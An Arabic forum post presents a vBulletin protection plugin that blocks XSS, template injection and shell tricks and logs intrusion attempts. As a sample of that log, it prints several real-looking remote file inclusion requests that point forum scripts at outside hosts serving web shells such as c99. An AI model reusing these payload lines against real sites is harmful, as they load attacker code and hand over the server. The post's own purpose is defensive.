منتديات رحيل لكل العرب - منع اكواد التحويل لاخر عشر مواضيع او الاهدائات

منع اكواد التحويل لاخر عشر مواضيع او الاهدائات

او الاحصائيات

فقمت في تطوير ومنع html لعنواوين المواضيع وهذا للتخلص من اكواد التحويل

وضفت خيار لتفعيل منع التحويل او ايقافه
لاصحاب المنتديات التي لاترغب في تفعيل هذي الميزة فيه

كما موضح في الصورة التالية

الخيار الاول : لتشغيل حمايه المنتدي

منع استغلال xss في المنتدي والحمد لله تم تجربة بشكل ناجح

منع حقن التمبلتات اي اختراق الفورم هوم بنسبة 90%

حجب عدة مواقع تساعد على العبث في المنتديات

تطوير للدوال القديمة للتوافق معه السيرفر

منع اكثر اوامر اليونكس وحيل الحقن في الشيل

اظهار المواقع المصابة على سيرفرك ومحاولت استغلالها للدخول على موقعك :1 (79):

الخيار الثاني :
منع اكواد التحويل لاخر عشر مواضيع
والاهداءات والاحصائيات ومسح HTml الخبيث من عنواين الموضوع

تحت التجربة والتطوير
الان نأتي للقسم الاكثر اثارة للموضوع

عند دخولك مجلد sec

افتح الملف logfile_hacker.txt

ستجد اذا تعرض السيرفر او موقعك لعملية اختراق اما بالشيل او اداة سوف يتم تخزينها بالتفصيل

كود PHP:
2007-12-11, 05:50:44, 1197370244, 209.67.223.188, p=11575//codebb/lang_select?phpbb_root_path=http://5thw.lchost.co.uk/site/administrator/components/com_jreactions/safe.txt?, libwww-perl/5.808
2007-12-11, 06:32:22, 1197372742, 203.211.135.147, t=2081//zipndownload.php?pp_path=http://www.cartographia.org/administrator/remote.txt?, libwww-perl/5.808

2007-12-11, 07:09:46, 1197374986, 211.157.108.187, p=11575//codebb/pass_code.php?phpbb_root_path=http://www.mta.cl/galeria2/galery.txt?, libwww-perl/5.79
2007-12-11, 09:15:08, 1197382508, 200.102.138.66, t=http://firehash-filez.110mb.com/c99.txt?, Mozilla/3.0 (compatible; Indy Library)
الان هذول ثلاث شيلات سنشرح بالتفصيل احد الاسطر

طبعا الفاصلة تفصل بين كل معلومه ومعلومة

كود PHP:
,
التاريخ والوقت

كود PHP:
2007-12-11, 05:50:44,
عدد المحاولات

كود PHP:
1197370244
ايبي الموقع المصااب

كود PHP:
209.67.223.188
الاصابة طبعا تشفرت لاغراض امنيه

كود PHP:
p=11575//codebb/lang_select
الاستغلال

كود PHP:
?phpbb_root_path=http://5thw.lchost.co.uk/site/administrator/components/com_jreactions/safe.txt?
نوع الاداه او اصدارها بما انو شيل راح يطلع السطر المستخدم اما اذا كان برنامج
يجيب اسمه بعد يعني من وين صدر الامر اذا من متصفح يطلع اسمه

كود PHP:
libwww-perl/5.808
الان شرح التركيب

امسح جميع هاكات لها علاقه في الحمايه او منع xss

اما من ركب هاك الحمايه issw v2

عليه فقط حذف ملف البرودكت

وتركيب المحدث

شرح حذف الهاك

من لوحت تحكم المنتدي === التحكم بالمنتجات product === من جانب المراد حذفة نختار الغاء التثبيت

ومن ثم حذف توابعه

---------------------------------------------------------------------------
التركيب

نرفع مابداخل upload الى المنتدي

نعطي الترخيص 666
logfile_hacker.txt
counter.txt

الان من لوحت تحكم المنتدي قم برفع البرودكت

تم تجربت المنتج على الاصدار

3.6.8